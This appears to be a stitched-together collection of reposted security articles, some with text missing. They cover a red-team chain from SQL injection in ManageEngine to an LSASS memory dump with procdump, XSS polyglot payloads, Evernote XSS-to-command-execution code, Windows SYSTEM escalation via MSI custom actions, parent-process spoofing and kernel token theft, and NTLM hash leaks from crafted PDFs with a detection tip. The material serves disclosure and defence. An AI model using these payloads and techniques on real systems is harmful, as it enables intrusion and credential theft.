From SQLi to Domain Admin

( Original text by Jose Manuel Aparicio )

One of the activities included in the operation of the Tarlogic Red Team is the search for vulnerabilities in the software used by our clients. Sometimes this activity involves the discovery of 0-days as we have verified in articles previously published in the blog (OCS InventoryCobian BackupOpenText TempoBox…). In other cases, the vulnerability is well known and public so it is only necessary to make effective its exploitation.

In this article we will talk about an exercise where a well-known vulnerability (with CVE assigned) has been exploited, but for which however there are no public details of its exploitation. The reverse engineering process followed to achieve a functional exploit will be described. As a final result, the exploitation of this vulnerability led to the obtaining of domain administrator credentials, as will be seen at the end of the article.

0x01 – Preamble

An exhaustive scan of the different blocks of IP addresses belonging to a client reveals an exposed web service that corresponds to the ManageEngine Applications Manager application. This application allows the administration and monitoring of the IT infrastructure, which makes it a critical asset and therefore a priority objective for the Red Team.

Applications Manager Login Portal

Doing a trivial search with the version of the application (12900), it is verified that there are a series of vulnerabilities reported in April 2017. Among these, a SQL injection (CVE-2016-9488) stands out, which is very interesting within the Red Team exercise because of its criticality since it does not require authentication. However, the details of the vulnerable parameters as well as their exploitation at that time are not public, knowing only the component of the application that is vulnerable (/servlet/MenuHandlerServlet).

## SQL Injection (CVE-2016-9488)
An unauthenticated user is able to access the URL /servlet/MenuHandlerServlet, which is vulnerable to SQL injection. Note that among others, an attacker is able to extract users’ password hashes, which are MD5 hashes without salt. Depending on used database type and its configuration, an adversary can also execute operating system commands using SQL queries.

0x02 – Identifying SQL Injection

In the absence of information, the Red Team proceeds to analyze the application through reverse engineering, in order to identify the vulnerable parameter and discover how to exploit it. This is achieved using the demo that the manufacturer offers on its website, which despite being the latest version and not being vulnerable, allows exploring the parameters received by the affected component.

In order to locate the injection point, the .jar file containing the MenuHandlerServlet class (name of the vulnerable resource) is decompressed. This class is decompiled, in this case using the jad utility, to find the existing HTTP parameters by searching the ServletRequest.getParameter() method.

HTTP parameters in MenuHandlerServlet class

After performing several tests to the different HTTP parameters located, it is identified that the config_id parameter is the one affected by SQL injection, as shown below.

SQL query that returns true 

SQL query that returns false

0x03 – Data extraction

Once the vulnerable parameter is confirmed and taking advantage of the demo version installed, an analysis of the database structure (PostgreSQL) is carried out to facilitate the extraction of the data. The objective at this point is to obtain administration credentials that bring access to the platform.

In this way, the am_userpasswordtable table is firstly located, from which the list of users of the application is obtained (more than 120 users in this case) together with the passwords hashed in MD5 without salt.

POST request used for user and hash extraction from the am_userpasswordtable table

Parallel to the hashes cracking process, the credentials (many of them from the domain) used by the application to monitor the different services (Tomcat Servers, Apache, databases…) are obtained from the credentialdetails table.

POST request used for credentials extraction from credentialdetails table

In this case, the passwords are encoded with a proprietary algorithm that prevents their direct reading in plain text. However, it is verified that there is a function inside the application that performs the decoding (convertFromBase(String paramString)), which is used to obtain the plaintext credentials.

Method used by the application for decoding passwords

Although these are valuable credentials that can be used in later phases of the exercise, none of them allowed us to access the application.

0x04 – Final access to the application

During this reverse engineering process and before the hashes cracking process obtained satisfactory results, it is discovered that the default administration account specified by the manufacturer (admin/admin), initially tried to access the panel, can take a different value if the application is integrated with another of their products (OpManager).

Code portion where checks the integration to assign a default password

It is effectively verified that these credentials (admin/admin@opm) are valid, and therefore that both applications are integrated. Making use of this finding, access to the application is finally obtained with administrative role.

0x05 – Obtaining domain administrator credentials

Once inside the application, it is verified that there is a component (Actions) inside the administration panel that allows to execute commands both locally and remotely. Although this component does not return the output of the executed commands, it is possible to dump the output to a file and then use the log viewer of the application to read it. It is identified that the commands are executed as NT AUTHORITY\SYSTEM.

Executing the ipconfig command on the server

On the other hand, the administration panel allows to upload files to the server. This functionality is used to host on the server (Windows) the sysinternals ProcDump utility. This tool is used to dump the memory of the LSASS process to a file, made possible due to the absence of a security restriction for access to memory.

procdump.exe -accepteula -ma lsass.exe out

This file is exfiltered to a Red Team local machine to later extract the user passwords in plaintext, obtaining this way access to an account of a domain administrator.

0x06 – Conclusions

It has been proven how a vulnerability in a web application exposed to the Internet can lead to the total commitment of the company’s infrastructure. For this reason, it is important to consider the need to avoid exposing critical platforms, such as the one shown in this article.

If necessary, an application updates procedure, implementation of perimeter defenses and server bastioning, as well as periodic audits of vulnerabilities should be considered.

XSS Polyglot Challenge v2

( Original text by @filedescriptor )


 in more than one context.

What is a XSS Polyglot?

A XSS payload which runs in multiple contexts. For example, 

<mark>'--&gt;&lt;svg onload=alert()&gt;</mark>

 can pop alerts in 

&lt;div class='<mark>'--&gt;&lt;svg onload=alert()&gt;</mark>'&gt;&lt;/div&gt;


&lt;!--<mark>'--&gt;&lt;svg onload=alert()&gt;</mark>--&gt;

. It is useful in testing XSS because it minimizes manual efforts and increases the success rate of blind XSS.

  • You will be given 20 common contexts in black-box
  • No DOM sinks or external libraries are involved
  • Plain HTML injection with minimum filtering
  • A headless Chrome will try your payload
  • Your payload should run 

     in 2+ contexts

  • Payloads exceeding 1024 characters will always fail
  • Network is disabled
<div class="{{payload}}"></div>
<div class='{{payload}}'></div>
<script type="text/template">{{payload}}</script>
<iframe src="{{payload}}"></iframe> " → 
<iframe srcdoc="{{payload}}"></iframe> " →  < → 
<script>"{{payload}}"</script> </script → <\/script
<script>'{{payload}}'</script> </script → <\/script
<script>`{{payload}}`</script> </script → <\/script
<script>//{{payload}}</script> </script → <\/script
<script>/*{{payload}}*/</script> </script → <\/script
<script>"{{payload}}"</script> </script → <\/script " → \"

more examples by link

Evernote For Windows Read Local File and Command Execute Vulnerabilities

( Original text by TongQing Zhu@Knownsec 404 Team )

0x00 TL;DR

  1. A stored cross site scripting(XSS) issue was repaired before version 6.15.
  2. If a stored XSS in your note,the javascript code will executed in lastest Evernote for Windows.It mean I can create a stored XSS in version 6.14 and it will always work.
  3. Present

     mode was created by 

    node webkit

    ,I can control it by stored XSS.

  4. I successfully read «C:\Windows\win.ini» and open 

     at last.

0x01 A Stored XSS In Version 6.14

Thanks @sebao,He told me how he found a stored xss in Evernote. 1. Add a picture to your note. 2. Right click and rename this picture,like: 

" onclick="alert(1)"&gt;.jpg

 3. open this note and click this picture,it will 


2018/09/20, Evernote for Windows 6.15 GA released and fix the issue @sebao reported.

In Evernote for Windows 6.15, 






 were filtered when insert filename,But the note which named by 


 can also 


.It mean they are do nothing when the filename output.I can use store XSS again.

0x02 JS Inject In NodeWebKit

Of course, I don’t think this is a serious security problem.So I decided to find other Vulnerabilities like RCE or local file read.

In version 6.14,I rename this picture as 

" onclick="alert(1)"&gt;&lt;script src=""&gt;.jpg

 for convenience, It allows me load the js file from remote server. Then I installed Evernote for Windows 6.15.

I try some special api,like: 




,but failed.

After failing many times,I decided to browse all files under path 

C:\\Program Files(x86)\Evernote\Evernote\

.I find Evernote has a 



C:\\Program Files(x86)\Evernote\Evernote\NodeWebKit


Present mode

 will use it.

Another good news is we can execute Nodejs code by stored XSS under 

Present mode


0x03 Read Local File & Command Execute

I try to use 


,but fail: 

Module name "child_process" has not been loaded yet for context

.So I need a new way.

Very Lucky,I found this article: How we exploited a remote code execution vulnerability in math.js

I read local file successfully.

//read local file javascript code
alert("Try to read C:\\\\Windows\\win.ini");
  var buffer = new Buffer(8192);
  process.binding('fs').read(process.binding('fs').open('..\\..\\..\\..\\..\\..\\..\\Windows\\win.ini', 0, 0600), buffer, 0, 4096);

But in NodeWebKit environment,It don’t have 




(I don’t know why).So I try to use 


(I get 





// command executed
  spawn_sync = process.binding('spawn_sync');
  envPairs = [];
  for (var key in window.process.env) {
    envPairs.push(key + '=' + window.process.env[key]);
  args = [];

  const options = {
    file: 'C:\\\\Windows\\system32\\calc.exe',
    args: args,
    envPairs: envPairs,
    stdio: [
      { type: 'pipe', readable: true, writable: false },
      { type: 'pipe', readable: false, writable: true },
      { type: 'pipe', readable: false, writable: true }

0x04 Use Share Function

Now,I can read my computer’s file and execute 


.I need to prove that this vulnerability can affect other people. I signed up for a new account 


 and shared this note with the new account.


 can receive some message in 

Work Chat




 decide to open it and use the 

Present mode

,the Nodejs code will executed.

0x05 Report Timeline

2018/09/27: Find Read Local File and Command Execute Vulnerabilities and reported to
2018/09/27: Evernote Confirm vulnerabilities
2018/10/15: Evernote fix the vulnerabilities in Evernote For Windows 6.16.1 beta and add my name to Hall of Fame
2018/10/19: request CVE ID:CVE-2018-18524
2018/11/05: After Evernote For Windows 6.16.4 released, Public disclosure


Alternative methods of becoming SYSTEM

( Original text by XPN )

For many pentesters, Meterpreter’s 


 command has become the default method of gaining SYSTEM account privileges, but have you ever have wondered just how this works behind the scenes?

In this post I will show the details of how this technique works, and explore a couple of methods which are not quite as popular, but may help evade detection on those tricky redteam engagements.

Meterpreter’s «getsystem»

Most of you will have used the 


 module in Meterpreter before. For those that haven’t, 


 is a module offered by the Metasploit-Framework which allows an administrative account to escalate to the local SYSTEM account, usually from local Administrator.

Before continuing we first need to understand a little on how a process can impersonate another user. Impersonation is a useful method provided by Windows in which a process can impersonate another user’s security context. For example, if a process acting as a FTP server allows a user to authenticate and only wants to allow access to files owned by a particular user, the process can impersonate that user account and allow Windows to enforce security.

To facilitate impersonation, Windows exposes numerous native API’s to developers, for example:

  • ImpersonateNamedPipeClient
  • ImpersonateLoggedOnUser
  • ReturnToSelf
  • LogonUser
  • OpenProcessToken

Of these, the 


 API call is key to the 


 module’s functionality, and takes credit for how it achieves its privilege escalation. This API call allows a process to impersonate the access token of another process which connects to a named pipe and performs a write of data to that pipe (that last requirement is important ;). For example, if a process belonging to «victim» connects and writes to a named pipe belonging to «attacker», the attacker can call 


 to retrieve an impersonation token belonging to «victim», and therefore impersonate this user. Obviously, this opens up a huge security hole, and for this reason a process must hold the 



This privilege is by default only available to a number of high privileged users:


This does however mean that a local Administrator account can use 


, which is exactly how 



  1. getsystem

     creates a new Windows service, set to run as SYSTEM, which when started connects to a named pipe.

  2. getsystem

     spawns a process, which creates a named pipe and awaits a connection from the service.

  3. The Windows service is started, causing a connection to be made to the named pipe.
  4. The process receives the connection, and calls 

    , resulting in an impersonation token being created for the SYSTEM user.

All that is left to do is to spawn cmd.exe with the newly gathered SYSTEM impersonation token, and we have a SYSTEM privileged process.

To show how this can be achieved outside of the Meterpreter-Framework, I’ve previously released a simple tool which will spawn a SYSTEM shell when executed. This tool follows the same steps as above, and can be found on my github account here.

To see how this works when executed, a demo can be found below:

Now that we have an idea just how 


 works, let’s look at a few alternative methods which can allow you to grab SYSTEM.

MSIExec method

For anyone unlucky enough to follow me on Twitter, you may have seen my recent tweet about using a .MSI package to spawn a SYSTEM process:

Adam Chester@_xpn_

There is something nice about embedding a Powershell one-liner in a .MSI, nice alternative way to execute as SYSTEM 🙂

This came about after a bit of research into the DOQU 2.0 malware I was doing, in which this APT actor was delivering malware packaged within a MSI file.

It turns out that a benefit of launching your code via an MSI are the SYSTEM privileges that you gain during the install process. To understand how this works, we need to look at WIX Toolset, which is an open source project used to create MSI files from XML build scripts.

The WIX Framework is made up of several tools, but the two that we will focus on are:

  • candle.exe — Takes a .WIX XML file and outputs a .WIXOBJ
  • light.exe — Takes a .WIXOBJ and creates a .MSI

Reviewing the documentation for WIX, we see that 

custom actions

 are provided, which give the developer a way to launch scripts and processes during the install process. Within the CustomAction documentation, we see something interesting:


This documents a simple way in which a MSI can be used to launch processes as SYSTEM, by providing a custom action with an 


 attribute set to 



When crafted, our WIX file will look like this:

<?xml version=«1.0«?>
<Wix xmlns=««>
<Product Id=«*« UpgradeCode=«12345678-1234-1234-1234-111111111111« Name=«Example Product Name« Version=«0.0.1« Manufacturer=«@_xpn_« Language=«1033«>
<Package InstallerVersion=«200« Compressed=«yes« Comments=«Windows Installer Package«/>
<Media Id=«1« Cabinet=«« EmbedCab=«yes«/>
<Directory Id=«TARGETDIR« Name=«SourceDir«>
<Directory Id=«ProgramFilesFolder«>
<Directory Id=«INSTALLLOCATION« Name=«Example«>
<Component Id=«ApplicationFiles« Guid=«12345678-1234-1234-1234-222222222222«>
<File Id=«ApplicationFile1« Source=«example.exe«/>
<Feature Id=«DefaultFeature« Level=«1«>
<ComponentRef Id=«ApplicationFiles«/>
<CustomAction Id=«SystemShell« Execute=«deferred« Directory=«TARGETDIR« ExeCommand=[cmdline] Return=«ignore« Impersonate=«no«/>
<CustomAction Id=«FailInstall« Execute=«deferred« Script=«vbscript« Return=«check«>
invalid vbs to fail install
<Custom Action=«SystemShell« After=«InstallInitialize«></Custom>
<Custom Action=«FailInstall« Before=«InstallFiles«></Custom>
view rawmsigen.wix hosted with ❤ by GitHub

A lot of this is just boilerplate to generate a MSI, however the parts to note are our custom actions:

<span class="hljs-tag">&lt;<span class="hljs-name">Property</span> <span class="hljs-attr">Id</span>=<span class="hljs-string">"cmdline"</span>&gt;</span>powershell...<span class="hljs-tag">&lt;/<span class="hljs-name">Property</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">CustomAction</span> <span class="hljs-attr">Id</span>=<span class="hljs-string">"SystemShell"</span> <span class="hljs-attr">Execute</span>=<span class="hljs-string">"deferred"</span> <span class="hljs-attr">Directory</span>=<span class="hljs-string">"TARGETDIR"</span> <span class="hljs-attr">ExeCommand</span>=<span class="hljs-string">'[cmdline]'</span> <span class="hljs-attr">Return</span>=<span class="hljs-string">"ignore"</span> <span class="hljs-attr">Impersonate</span>=<span class="hljs-string">"no"</span>/&gt;</span>

This custom action is responsible for executing our provided 


 as SYSTEM (note the 


 tag, which is a nice way to get around the length limitation of the 


attribute for long Powershell commands).

Another trick which is useful is to ensure that the install fails after our command is executed, which will stop the installer from adding a new entry to «Add or Remove Programs» which is shown here by executing invalid VBScript:

<span class="hljs-tag">&lt;<span class="hljs-name">CustomAction</span> <span class="hljs-attr">Id</span>=<span class="hljs-string">"FailInstall"</span> <span class="hljs-attr">Execute</span>=<span class="hljs-string">"deferred"</span> <span class="hljs-attr">Script</span>=<span class="hljs-string">"vbscript"</span> <span class="hljs-attr">Return</span>=<span class="hljs-string">"check"</span>&gt;</span>
  invalid vbs to fail install
<span class="hljs-tag">&lt;/<span class="hljs-name">CustomAction</span>&gt;</span>

Finally, we have our 


 tag, which is responsible for executing our custom actions in order:

<span class="hljs-tag">&lt;<span class="hljs-name">InstallExecuteSequence</span>&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">Custom</span> <span class="hljs-attr">Action</span>=<span class="hljs-string">"SystemShell"</span> <span class="hljs-attr">After</span>=<span class="hljs-string">"InstallInitialize"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">Custom</span>&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">Custom</span> <span class="hljs-attr">Action</span>=<span class="hljs-string">"FailInstall"</span> <span class="hljs-attr">Before</span>=<span class="hljs-string">"InstallFiles"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">Custom</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">InstallExecuteSequence</span>&gt;</span>

So, when executed:

  1. Our first custom action will be launched, forcing our payload to run as the SYSTEM account.
  2. Our second custom action will be launched, causing some invalid VBScript to be executed and stop the install process with an error.

To compile this into a MSI we save the above contents as a file called «msigen.wix», and use the following commands:

<span class="hljs-selector-tag">candle</span><span class="hljs-selector-class">.exe</span> <span class="hljs-selector-tag">msigen</span><span class="hljs-selector-class">.wix</span>
<span class="hljs-selector-tag">light</span><span class="hljs-selector-class">.exe</span> <span class="hljs-selector-tag">msigen</span><span class="hljs-selector-class">.wixobj</span>

Finally, execute the MSI file to execute our payload as SYSTEM:



This method of becoming SYSTEM was actually revealed to me via a post from James Forshaw’s walkthrough of how to become «Trusted Installer».

Again, if you listen to my ramblings on Twitter, I recently mentioned this technique a few weeks back:

How this technique works is by leveraging the 


 Win32 API call, and using its support for assigning the parent of a newly spawned process via the 



If we review the documentation of this setting, we see the following:


So, this means if we set the parent process of our newly spawned process, we will inherit the process token. This gives us a cool way to grab the SYSTEM account via the process token.

We can create a new process and set the parent with the following code:

<span class="hljs-keyword">int</span> pid;
HANDLE pHandle = <span class="hljs-literal">NULL</span>;
SIZE_T size;
BOOL ret;

<span class="hljs-comment">// Set the PID to a SYSTEM process PID</span>
pid = <span class="hljs-number">555</span>;


<span class="hljs-comment">// Open the process which we will inherit the handle from</span>
<span class="hljs-keyword">if</span> ((pHandle = OpenProcess(PROCESS_ALL_ACCESS, <span class="hljs-literal">false</span>, pid)) == <span class="hljs-number">0</span>) {
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Error opening PID %d\n"</span>, pid);
    <span class="hljs-keyword">return</span> <span class="hljs-number">2</span>;

<span class="hljs-comment">// Create our PROC_THREAD_ATTRIBUTE_PARENT_PROCESS attribute</span>
ZeroMemory(&amp;si, <span class="hljs-keyword">sizeof</span>(STARTUPINFOEXA));

InitializeProcThreadAttributeList(<span class="hljs-literal">NULL</span>, <span class="hljs-number">1</span>, <span class="hljs-number">0</span>, &amp;size);
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(
    <span class="hljs-number">0</span>,
InitializeProcThreadAttributeList(si.lpAttributeList, <span class="hljs-number">1</span>, <span class="hljs-number">0</span>, &amp;size);
UpdateProcThreadAttribute(si.lpAttributeList, <span class="hljs-number">0</span>, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &amp;pHandle, <span class="hljs-keyword">sizeof</span>(HANDLE), <span class="hljs-literal">NULL</span>, <span class="hljs-literal">NULL</span>);

si.StartupInfo.cb = <span class="hljs-keyword">sizeof</span>(STARTUPINFOEXA);

<span class="hljs-comment">// Finally, create the process</span>
ret = CreateProcessA(
    <span class="hljs-string">"C:\\Windows\\system32\\cmd.exe"</span>,
    <span class="hljs-literal">NULL</span>,
    <span class="hljs-literal">NULL</span>,
    <span class="hljs-literal">NULL</span>,
    <span class="hljs-literal">true</span>,
    <span class="hljs-literal">NULL</span>,
    <span class="hljs-literal">NULL</span>,
    <span class="hljs-keyword">reinterpret_cast</span>&lt;LPSTARTUPINFOA&gt;(&amp;si),

<span class="hljs-keyword">if</span> (ret == <span class="hljs-literal">false</span>) {
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Error creating new process (%d)\n"</span>, GetLastError());
    <span class="hljs-keyword">return</span> <span class="hljs-number">3</span>;

When compiled, we see that we can launch a process and inherit an access token from a parent process running as SYSTEM such as lsass.exe:


The source for this technique can be found here.

Alternatively, NtObjectManager provides a nice easy way to achieve this using Powershell:

<span class="hljs-selector-tag">New-Win32Process</span> <span class="hljs-selector-tag">cmd</span><span class="hljs-selector-class">.exe</span> <span class="hljs-selector-tag">-CreationFlags</span> <span class="hljs-selector-tag">Newconsole</span> <span class="hljs-selector-tag">-ParentProcess</span> (<span class="hljs-selector-tag">Get-NtProcess</span> <span class="hljs-selector-tag">-Name</span> <span class="hljs-selector-tag">lsass</span><span class="hljs-selector-class">.exe</span>)

Bonus Round: Getting SYSTEM via the Kernel

OK, so this technique is just a bit of fun, and not something that you are likely to come across in an engagement… but it goes some way to show just how Windows is actually managing process tokens.

Often you will see Windows kernel privilege escalation exploits tamper with a process structure in the kernel address space, with the aim of updating a process token. For example, in the popular MS15-010 privilege escalation exploit (found on exploit-db here), we can see a number of references to manipulating access tokens.

For this analysis, we will be using WinDBG on a Windows 7 x64 virtual machine in which we will be looking to elevate the privileges of our cmd.exe process to SYSTEM by manipulating kernel structures. (I won’t go through how to set up the Kernel debugger connection as this is covered in multiple places for multiple hypervisors.)

Once you have WinDBG connected, we first need to gather information on our running process which we want to elevate to SYSTEM. This can be done using the 



!<span class="hljs-selector-tag">process</span> 0 0 <span class="hljs-selector-tag">cmd</span><span class="hljs-selector-class">.exe</span>

Returned we can see some important information about our process, such as the number of open handles, and the process environment block address:

<span class="hljs-selector-tag">PROCESS</span> <span class="hljs-selector-tag">fffffa8002edd580</span>
    <span class="hljs-selector-tag">SessionId</span>: 1  <span class="hljs-selector-tag">Cid</span>: 0858    <span class="hljs-selector-tag">Peb</span>: 7<span class="hljs-selector-tag">fffffd4000</span>  <span class="hljs-selector-tag">ParentCid</span>: 0578
    <span class="hljs-selector-tag">DirBase</span>: 09<span class="hljs-selector-tag">d37000</span>  <span class="hljs-selector-tag">ObjectTable</span>: <span class="hljs-selector-tag">fffff8a0012b8ca0</span>  <span class="hljs-selector-tag">HandleCount</span>:  21.
    <span class="hljs-selector-tag">Image</span>: <span class="hljs-selector-tag">cmd</span><span class="hljs-selector-class">.exe</span>

For our purpose, we are interested in the provided PROCESS address (in this example 


), which is actually a pointer to an 


 structure. The 


structure (documented by Microsoft here) holds important information about a process, such as the process ID and references to the process threads.

Amongst the many fields in this structure is a pointer to the process’s access token, defined in a 


 structure. To view the contents of the token, we first must calculate the 


 address. On Windows 7 x64, the process 


 is located at offset 


, which differs throughout each version (and potentially service pack) of Windows. We can retrieve the pointer with the following command:

<span class="hljs-meta">kd&gt;</span><span class="bash"> dq fffffa8002edd580+0x208 L1</span>

This returns the token address as follows:

fffffa80`<span class="javascript"><span class="hljs-number">02</span>edd788  fffff8a0</span>`<span class="hljs-number">00</span>d76c51

As the token address is referenced within a 


 structure, we must 


 the value to gain the true pointer address:

<span class="hljs-meta">kd&gt;</span><span class="bash"> ? fffff8a0`00d76c51 &amp; ffffffff`fffffff0</span>

Evaluate expression: -8108884136880 = fffff8a0`00d76c50

Which means that our true 


 address for cmd.exe is at 


. Next we can dump out the 


 structure members for our process using the following command:

<span class="hljs-meta">kd&gt;</span><span class="bash"> !token fffff8a0`00d76c50</span>

This gives us an idea of the information held by the process token:

User: S<span class="hljs-number">-1</span><span class="hljs-number">-5</span><span class="hljs-number">-21</span><span class="hljs-number">-3262056927</span><span class="hljs-number">-4167910718</span><span class="hljs-number">-262487826</span><span class="hljs-number">-1001</span>
User Groups:
 <span class="hljs-number">00</span> S<span class="hljs-number">-1</span><span class="hljs-number">-5</span><span class="hljs-number">-21</span><span class="hljs-number">-3262056927</span><span class="hljs-number">-4167910718</span><span class="hljs-number">-262487826</span><span class="hljs-number">-513</span>
    Attributes - Mandatory <span class="hljs-keyword">Default</span> Enabled
 <span class="hljs-number">01</span> S<span class="hljs-number">-1</span><span class="hljs-number">-1</span><span class="hljs-number">-0</span>
    Attributes - Mandatory <span class="hljs-keyword">Default</span> Enabled
 <span class="hljs-number">02</span> S<span class="hljs-number">-1</span><span class="hljs-number">-5</span><span class="hljs-number">-32</span><span class="hljs-number">-544</span>
    Attributes - DenyOnly
 <span class="hljs-number">03</span> S<span class="hljs-number">-1</span><span class="hljs-number">-5</span><span class="hljs-number">-32</span><span class="hljs-number">-545</span>
    Attributes - Mandatory <span class="hljs-keyword">Default</span> Enabled
 <span class="hljs-number">04</span> S<span class="hljs-number">-1</span><span class="hljs-number">-5</span><span class="hljs-number">-4</span>
    Attributes - Mandatory <span class="hljs-keyword">Default</span> Enabled
 <span class="hljs-number">05</span> S<span class="hljs-number">-1</span><span class="hljs-number">-2</span><span class="hljs-number">-1</span>
    Attributes - Mandatory <span class="hljs-keyword">Default</span> Enabled
 <span class="hljs-number">06</span> S<span class="hljs-number">-1</span><span class="hljs-number">-5</span><span class="hljs-number">-11</span>
    Attributes - Mandatory <span class="hljs-keyword">Default</span> Enabled
 <span class="hljs-number">07</span> S<span class="hljs-number">-1</span><span class="hljs-number">-5</span><span class="hljs-number">-15</span>
    Attributes - Mandatory <span class="hljs-keyword">Default</span> Enabled
 <span class="hljs-number">08</span> S<span class="hljs-number">-1</span><span class="hljs-number">-5</span><span class="hljs-number">-5</span><span class="hljs-number">-0</span><span class="hljs-number">-2917477</span>
    Attributes - Mandatory <span class="hljs-keyword">Default</span> Enabled LogonId
 <span class="hljs-number">09</span> S<span class="hljs-number">-1</span><span class="hljs-number">-2</span><span class="hljs-number">-0</span>
    Attributes - Mandatory <span class="hljs-keyword">Default</span> Enabled
 <span class="hljs-number">10</span> S<span class="hljs-number">-1</span><span class="hljs-number">-5</span><span class="hljs-number">-64</span><span class="hljs-number">-10</span>
    Attributes - Mandatory <span class="hljs-keyword">Default</span> Enabled
 <span class="hljs-number">11</span> S<span class="hljs-number">-1</span><span class="hljs-number">-16</span><span class="hljs-number">-8192</span>
    Attributes - GroupIntegrity GroupIntegrityEnabled
Primary Group: S<span class="hljs-number">-1</span><span class="hljs-number">-5</span><span class="hljs-number">-21</span><span class="hljs-number">-3262056927</span><span class="hljs-number">-4167910718</span><span class="hljs-number">-262487826</span><span class="hljs-number">-513</span>
 <span class="hljs-number">19</span> <span class="hljs-number">0x000000013</span> SeShutdownPrivilege               Attributes -
 <span class="hljs-number">23</span> <span class="hljs-number">0x000000017</span> SeChangeNotifyPrivilege           Attributes - Enabled <span class="hljs-keyword">Default</span>
 <span class="hljs-number">25</span> <span class="hljs-number">0x000000019</span> SeUndockPrivilege                 Attributes -
 <span class="hljs-number">33</span> <span class="hljs-number">0x000000021</span> SeIncreaseWorkingSetPrivilege     Attributes -
 <span class="hljs-number">34</span> <span class="hljs-number">0x000000022</span> SeTimeZonePrivilege               Attributes -

So how do we escalate our process to gain SYSTEM access? Well we just steal the token from another SYSTEM privileged process, such as lsass.exe, and splice this into our cmd.exe EPROCESS using the following:

<span class="hljs-meta">kd&gt;</span><span class="bash"> !process 0 0 lsass.exe</span>
<span class="hljs-meta">kd&gt;</span><span class="bash"> dq &lt;LSASS_PROCESS_ADDRESS&gt;+0x208 L1</span>
<span class="hljs-meta">kd&gt;</span><span class="bash"> ? &lt;LSASS_TOKEN_ADDRESS&gt; &amp; FFFFFFFF`FFFFFFF0</span>
<span class="hljs-meta">kd&gt;</span><span class="bash"> !process 0 0 cmd.exe</span>
<span class="hljs-meta">kd&gt;</span><span class="bash"> eq &lt;CMD_EPROCESS_ADDRESS+0x208&gt; &lt;LSASS_TOKEN_ADDRESS&gt;</span>

To see what this looks like when run against a live system, I’ll leave you with a quick demo showing cmd.exe being elevated from a low level user, to SYSTEM privileges:

PDFiD: GoToE and GoToR Detection (“NTLM Credential Theft”)

( Original text by Didier Stevens )

The article “NTLM Credentials Theft via PDF Files” explains how PDF documents can refer to a resource via UNC paths. This is done using  PDF names /GoToE or /GoToR.

My tool can now be extended to report /GoToE and /GoToR usage in a PDF file, without having to change the source code. You just have to edit the pdfid.ini file (or create it) to include these names, like this:


Using pdfid configured like this on a “credential stealing PDF” gives the following result:

pdfid.ini has to be located in the same directory as And remember that names in the PDF language are case-sensitive.

NTLM Credentials Theft via PDF Files

( Original text by )

Just a few days after it was reported that malicious actors can exploit a vulnerability in MS outlook using OLE to steal a Windows user’s NTLM hashes, the Check Point research team can also reveal that NTLM hash leaks can also be achieved via PDF files with no user interaction or exploitation.

According to Check Point researchers, rather than exploiting the vulnerability in Microsoft Word files or Outlook’s handling of RTF files, attackers take advantage of a feature that allows embedding remote documents and files inside a PDF file. The attacker can then use this to inject malicious content into a PDF and so when that PDF is opened, the target automatically leaks credentials in the form of NTLM hashes.

PDF Background

A PDF file consists primarily of objects, together with Document structure, File structure, and content streams. There are eight basic types of objects:

  • Boolean values
  • Integers and real numbers
  • Strings
  • Names
  • Arrays
  • Streams
  • The null object
  • Dictionaries

A dictionary object is a table containing pairs of objects, called entries.  The first element of each entry is the key and the second element is the value. The key must be a name, and the value may be any kind of object, including another dictionary. The pages of a document are represented by dictionary objects called page objects.  The page objects consist of several required and optional entries.

Proof of Concept

The /AA entry is an optional entry defining actions to be performed when a page is opened (/O entry) or closed (/C entry).  The /O (/C) entry holds an action dictionary. The action dictionary consists of 3 required entries: /S, /F, and /D:

  • /S entry: Describes the type of action to be performed. The GoTo action changes the view to a specified destination within the document. The action types GoToR, (Go To Remote) and GoToE (Go To Embedded), both vulnerable, jump to destinations in another PDF file.
  • /F entry: Exists in GoToR and GoToE, and has slightly different meanings for each. In both cases it describes the location of the other PDF. Its type is file specification.
  • /D entry: Describes the location to go to within the document.

By injecting a malicious entry (using the fields described above together with his SMB server details via the “/F” key), an attacker can entice arbitrary targets to open the crafted PDF file which then automatically leaks their NTLM hash, challenge, user, host name and domain details.

Figure 1: PoC – Injected GoToE action.

In addition, from the target’s perspective there is no evidence or any security alert of the attacker’s activity, which makes it impossible to notice abnormal behavior.

Figure 2: The crafted PDF file has no evidence of the attacker’s actions.

The NTLM details are leaked through the SMB traffic and sent to the attacker’s server which can be further used to cause various SMB relay attacks.

Figure 3: The Leaked NTLM details after the crafted PDF is opened.


Affected Products and Mitigation

Our investigation lead us to conclude that all Windows PDF-viewers are vulnerable to this security flaw and will reveal the NTLM credentials.


The issue was disclosed both to Adobe and Foxit.

Foxit indeed fixed the issue as part of 9.1 release.

Adobe fixed the vulnerability as part of the Adobe Reader version released in May (CVE-2018-4993).

IPS Prevention

Check Point customers are protected by the IPS protection:

Multiple PDF readers NTLMv2 Credential Theft

We would also like to thank our colleagues, Assaf Baharav, Yaron Fruchtmann, and Ido Solomon for their help in this research.

Network access: Restrict clients allowed to make remote calls to SAM

Applies to

  • Windows 10, version 1607 and later
  • Windows 10, version 1511 with KB 4103198 installed
  • Windows 10, version 1507 with KB 4012606 installed
  • Windows 8.1 with KB 4102219 installed
  • Windows 7 with KB 4012218 installed
  • Windows Server 2016
  • Windows Server 2012 R2 withKB 4012219 installed
  • Windows Server 2012 with KB 4012220 installed
  • Windows Server 2008 R2 with KB 4012218 installed

The Network access: Restrict clients allowed to make remote calls to SAM security policy setting controls which users can enumerate users and groups in the local Security Accounts Manager (SAM) database and Active Directory. The setting was first supported by Windows 10 version 1607 and Windows Server 2016 (RTM) and can be configured on earlier Windows client and server operating systems by installing updates from the KB articles listed in Applies to section of this topic.

This topic describes the default values for this security policy setting in different versions of Windows. By default, computers beginning with Windows 10 version 1607 and Windows Server 2016 are more restrictive than earlier versions of Windows. This means that if you have a mix of computers, such as member servers that run both Windows Server 2016 and Windows Server 2012 R2, the servers that run Windows Server 2016 may fail to enumerate accounts by default where the servers that run Windows Server 2012 R2 succeed.

